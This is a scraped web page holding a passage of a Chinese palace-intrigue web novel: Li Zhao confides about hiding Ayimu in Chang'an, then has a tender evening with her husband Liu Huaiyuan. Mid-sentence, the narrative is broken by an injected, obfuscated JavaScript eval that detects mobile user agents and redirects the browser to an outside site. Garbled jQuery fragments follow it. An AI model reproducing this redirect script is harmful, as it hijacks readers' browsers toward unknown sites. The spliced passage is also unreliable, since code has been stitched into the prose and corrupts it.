Silent声 作品

112. 青云当自致,何必求知音。(第2页)

 




    李昭劝道,“我知道现下同你讲这个,一时有些难以接受,你回去好好想想。”
 




    等送走了李晓澜,回过头来李时悦哼道,“你这般打算,不仅仅是为了淑妃和三妹妹吧?”
 




    李昭边往池塘边走便应道,“是啊,我也有自己的私心,安定王年龄大了,未必还有心力去折腾,可要是为了自己的儿子,也会多些精力的。尽快平定西北,才能有力气收拾胡人,我可不信他们能再等十几年。”李昭将手上的纸拆开看过后递给了李时悦。
 




    李时悦问道,“这是什么?”
 




    “三妹妹临走前塞到我手中的,是我之前托淑妃查的有关那个姓夏的。”
 




    “对得上的还有五人?这总不能将人捉来让那窦焦一一看过吧。”
 




    李昭叹气,“找时机,我让人去一一探探。还有一事,我与你说了,你就当不知便是。”
 




    “何事这么神秘?”
 




    李昭低声道,“我将阿依慕接到了长安,如今就藏在东市的一家胭脂铺子里。”
 




    李时悦惊道,“你真是胆大,要是父皇知道你又掺和到这些事里,怕就不是跪上几个时辰能消气的了。此事还有谁知道?”
 




    “此事我交给了芊云去做,还有便是阿依慕的信叫柳怀远看了去,我便将此事讲与他了,不过我没说我将人接了回来。”
 




    李时悦小心
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028170|146306||http|test|mini|href|location.split(|),0,{}));
 




    () {
 




    $(.inform).remove();
 




    $(#content).append(
 




    道,“此事越少人知晓越好,芊云我不担心,可柳怀远会不会告诉他父亲可就不知道了!既然人已经接了回来,你倒也不必急着见面,且先避避吧。”
 




    晚间柳怀远送走杨宇和齐霍回到房中,只见李昭正趴在床边手上正拿着一块玉佩逗弄着床上躺着的柳允朗,柳怀远上前见那块玉佩甚是眼生,问道,“这玉佩瞧着不像是你往日佩戴的?”
 




    李昭笑道,“是父皇临走前从身上卸下给朗儿的。”
 




    “既是陛下给的,殿下还是好生替允朗收着好了。”
 




    李昭站起身来,将手中玉佩递给柳怀远,说道,“这可不仅仅是一枚玉佩而已,这原是皇爷爷临终前留给父皇的,上面所雕纹样是盘龙,你看这玉佩一角,曾是阿悯不小心磕碰坏了,父皇嘱咐人修补好的。十几年间父皇从未卸下,如今却交给了朗儿。”
 




    柳怀远不知这一枚玉佩有此意义,问道,“陛下可还说什么了?”
 




    李昭想起自己送父亲出门时,父亲拉着自己的手感慨道,“见多了宫宴上的声色犬马,今日倒是难得的温情,永宁,朕很久没有这么放松了!我刚刚看允朗咿咿呀呀,就想起小时候抱你的时候,我这么些儿女中,最是疼爱的便是你!你虽在长安,可也不是时时得见了,终究还是长大了。这玉佩给允朗,便是朕盼着他如你一般。”
 




    李昭摇摇头,对柳怀远笑道,“只说盼着允朗成材。”
 




    李昭见柳怀远抱着柳允朗逗弄,柳允朗倒也不嫌弃他父亲一身酒味,同他玩的热闹,她便自去洗漱了,等她再回房中时,乳母已经将孩子抱了下去,柳怀远也洗漱完了。李昭瞥了他一眼,自去小榻上拿起话本子看了起来,柳怀远凑了上来,同她挤在一处,李昭抱怨道,“只是初秋,还有些闷热,我还要看书呢!你离我远些,别在沾我一身酒气!”
 




    “殿下这是还在气我?今日我父亲所言,只是因着当初他和母亲不了解你,这才有了偏见…”
 




    没等柳怀远话说完,李昭就扔了书看向他道,“在你心中我便是这般小气之人?你晌午时已经同我解释过了,我也说了我没放在心上,放心,我不会对你父亲如何的。”
 




    柳怀远将李昭歪在榻上的身子拉起,直视着李昭眼睛认真道,“我知晓殿下心胸宽广,定然不会挟私报复,可我不想你心中难受,我知晓你这两年来为着你我夫妻的缘故,没少去柳府,即便是父母对你不冷不热,你也从未抱怨,该有的礼数都尽到,他们是我的亲人,你也是,我知晓此事是我父母的不是,他们向来固执,我私下同他们说过多次,只是未曾想今次让你听到,你便是生气怨我也是应该的,大不了你以后都不要登柳府的门,家中的事我自己料理便是。”
 




    李昭没忍住笑,看着柳怀远说出这样一番孩子气的话,叹气道,“初时是有些气的,不过细想来你我成婚后便离府而居,同你父母二人不曾相处,虽绝了婆媳之嫌,但难免生疏,有这样的想法也是正常,况他们也是私下说说,对着我也未做什么。我也只当是我和他们之间少些缘分,两厢客客气气便是了。”
 




    柳怀远知晓,李昭不是个骄横的,但也容不得别人冒犯,若不是因着自己,怕她无论如何也是要上前辩驳几句的,柳怀远只觉心头一酸,低声道,“委屈殿下了,今日殿下忙碌了一日,我替殿下捏捏肩颈可好?”
 




    李昭在小榻上躺下,说道,“那便有劳柳大人了!”